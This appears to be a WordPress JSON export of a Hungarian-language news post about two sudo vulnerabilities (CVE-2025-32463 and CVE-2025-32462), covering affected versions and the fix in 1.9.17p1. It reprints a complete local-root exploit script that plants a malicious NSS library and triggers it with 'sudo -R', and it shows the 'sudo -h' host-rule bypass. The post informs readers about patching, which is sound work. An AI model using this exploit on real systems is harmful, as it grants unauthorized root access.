{"id":138584,"date":"2025-07-01T17:11:57","date_gmt":"2025-07-01T15:11:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme"},"modified":"2025-07-01T17:11:57","modified_gmt":"2025-07-01T15:11:57","slug":"uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","title":{"rendered":"Sebezhet\u0151s\u00e9gek a sudo seg\u00e9dprogramban, amelyek lehet\u0151v\u00e9 teszik a root jogok megszerz\u00e9s\u00e9t a rendszerben","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

A sudo csomagban, amelyet m\u00e1s felhaszn\u00e1l\u00f3k nev\u00e9ben v\u00e9grehajtott parancsok v\u00e9grehajt\u00e1s\u00e1ra haszn\u00e1lnak, egy s\u00e9r\u00fcl\u00e9kenys\u00e9get (CVE-2025-32463) fedeztek fel, amely lehet\u0151v\u00e9 teszi, hogy b\u00e1rmely nem privil\u00e9giumos felhaszn\u00e1l\u00f3 root jogosults\u00e1ggal k\u00f3dot futtasson, m\u00e9g akkor is, ha a felhaszn\u00e1l\u00f3 nincs megeml\u00edtve a sudoers konfigur\u00e1ci\u00f3ban. A probl\u00e9ma \u00e9rinti azokat a disztrib\u00faci\u00f3kat, amelyek a \/etc\/nsswitch.conf konfigur\u00e1ci\u00f3s f\u00e1jlt haszn\u00e1lj\u00e1k, p\u00e9ld\u00e1ul a s\u00e9r\u00fcl\u00e9kenys\u00e9g kihaszn\u00e1l\u00e1s\u00e1nak lehet\u0151s\u00e9g\u00e9t az Ubuntu 24.04 \u00e9s Fedora 41 eset\u00e9ben mutatt\u00e1k be. <\/p>\n

A s\u00e9r\u00fcl\u00e9kenys\u00e9g alap\u00e9rtelmezett konfigur\u00e1ci\u00f3ban jelentkezik, \u00e9s a sudo 1.9.14 \u00e9s 1.9.17 k\u00f6z\u00f6tti verzi\u00f3iban meger\u0151s\u00edtett\u00e9k (potenci\u00e1lisan \u00e9rinti az \u00f6sszes verzi\u00f3t, amely 1.8.33-t\u00f3l kezd\u0151dik). A probl\u00e9m\u00e1t a sudo 1.9.17p1 friss\u00edt\u00e9s\u00e9vel orvosolt\u00e1k. Az \u00faj csomag verzi\u00f3j\u00e1nak \u00e1llapot\u00e1t, vagy a disztrib\u00faci\u00f3kban el\u00e9rhet\u0151 jav\u00edt\u00e1st ezen az oldalakon ellen\u0151rizheti (ha az oldal nem el\u00e9rhet\u0151, a disztrib\u00faci\u00f3 fejleszt\u0151i m\u00e9g nem kezdt\u00e9k el a probl\u00e9ma kezel\u00e9s\u00e9t): Debian, Ubuntu, Fedora, SUSE\/openSUSE, RHEL, Gentoo \u00e9s Arch (1, 2). <\/p>\n

A probl\u00e9ma abb\u00f3l ad\u00f3dik, hogy a -R (\u2013chroot) opci\u00f3 alkalmaz\u00e1s\u00e1val parancsokat ind\u00edtanak chroot k\u00f6rnyezetben a kiv\u00e1lasztott gy\u00f6k\u00e9rk\u00f6nyvt\u00e1rral, a \/etc\/nsswitch.conf f\u00e1jl a \u00faj gy\u00f6k\u00e9rk\u00f6nyvt\u00e1r kontextus\u00e1ban t\u00f6lt\u0151d\u00f6tt be, nem a rendszerk\u00f6nyvt\u00e1rban. Mivel a felhaszn\u00e1l\u00f3 saj\u00e1t k\u00f6nyvt\u00e1r\u00e1t haszn\u00e1lhatja gy\u00f6k\u00e9rk\u00f6nyvt\u00e1rk\u00e9nt a chroothoz, elhelyezheti benne az nsswitch.conf konfigur\u00e1ci\u00f3s f\u00e1jlt. Az NSS (Name Service Switch) \u00e1ltal bet\u00f6lt\u00f6tt \/etc\/nsswitch.conf f\u00e1jl kontroll\u00e1l\u00e1s\u00e1val a felhaszn\u00e1l\u00f3 hozz\u00e1tehet be\u00e1ll\u00edt\u00e1sokat, amelyek kieg\u00e9sz\u00edt\u0151 kezel\u0151k megh\u00edv\u00e1s\u00e1hoz vezetnek. Az ilyen kezel\u0151k a NSS-ben megosztott k\u00f6nyvt\u00e1rak form\u00e1j\u00e1ban t\u00f6lt\u0151dnek be, amelyeket szint\u00e9n elhelyezhetnek a felhaszn\u00e1l\u00f3 \u00e1ltal ellen\u0151rz\u00f6tt k\u00f6nyvt\u00e1rban. Ha a felhaszn\u00e1l\u00f3 a saj\u00e1t k\u00f6nyvt\u00e1r\u00e1t helyettes\u00edti, el\u00e9rheti, hogy k\u00f3dot hajtsanak v\u00e9gre root jogosults\u00e1gokkal, mivel az NSS feldolgoz\u00e1sa a privilegiumok vissza\u00e1ll\u00edt\u00e1sa el\u0151tt t\u00f6rt\u00e9nik. <\/p>\n

Kihaszn\u00e1l\u00e1si p\u00e9lda: #!\/bin\/bash STAGE=$(mktemp -d \/tmp\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(\"\/\"); execl(\"\/bin\/bash\", \"\/bin\/bash\", NULL); } EOF mkdir -p woot\/etc libnss_ echo \"passwd: \/woot1337\" > woot\/etc\/nsswitch.conf cp \/etc\/group woot\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\/woot1337.so.2 woot1337.c echo \"woot!\" sudo -R woot woot rm -rf ${STAGE?} <\/p>\n

A sudo 1.9.17p1 verzi\u00f3j\u00e1ban egy \u00fajabb sebezhet\u0151s\u00e9get is orvosoltak (CVE-2025-32462), amely lehet\u0151v\u00e9 tette parancsok v\u00e9grehajt\u00e1s\u00e1t root jogosults\u00e1gokkal, de csak a sudoers konfigur\u00e1ci\u00f3kban, ahol a \"host\" param\u00e9ter \u00e9rt\u00e9ke elt\u00e9r az ALL-t\u00f3l vagy a jelenlegi host nev\u00e9t\u0151l. A sebezhet\u0151s\u00e9g a -h (\u2013host) opci\u00f3 hib\u00e1j\u00e1b\u00f3l ered, amely nemcsak a -l (\u2013list) opci\u00f3val m\u0171k\u00f6d\u00f6tt a hosthoz k\u00f6t\u00f6tt jogosults\u00e1gok megjelen\u00edt\u00e9s\u00e9re, hanem parancsok v\u00e9grehajt\u00e1sakor is. \u00cdgy a felhaszn\u00e1l\u00f3 b\u00e1rmilyen hostot megadhatott a sudo h\u00edv\u00e1sakor, \u00e9s megker\u00fclhette a host n\u00e9vre vonatkoz\u00f3 sudoers szab\u00e1lyok korl\u00e1toz\u00e1sait. <\/p>\n

A t\u00e1mad\u00e1shoz a felhaszn\u00e1l\u00f3nak szerepelnie kell a sudoers-ben, p\u00e9ld\u00e1ul ha a be\u00e1ll\u00edt\u00e1sok k\u00f6z\u00f6tt a \"testuser testhost = ALL\" szerepel, akkor a \"testuser\" felhaszn\u00e1l\u00f3 megadhatta a \"sudo -h testhost\" parancsot, \u00e9s parancsokat ind\u00edthatott root jogosults\u00e1gokkal b\u00e1rmely hoston, nemcsak a testhost-on. Az ilyen konfigur\u00e1ci\u00f3k nem \u00e9rintettek a \"testuser ALL = ALL\" vagy a konkr\u00e9t felhaszn\u00e1l\u00f3ra vonatkoz\u00f3 explicit szab\u00e1lyok n\u00e9lk\u00fcli be\u00e1ll\u00edt\u00e1sok sor\u00e1n.
\n
Forr\u00e1s: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudoers. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \/etc\/nsswitch.conf, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 Ubuntu 24.04 \u0438 Fedora 41. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-138584","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Sebezhet\u0151s\u00e9gek a sudo seg\u00e9dprogramban, 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\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 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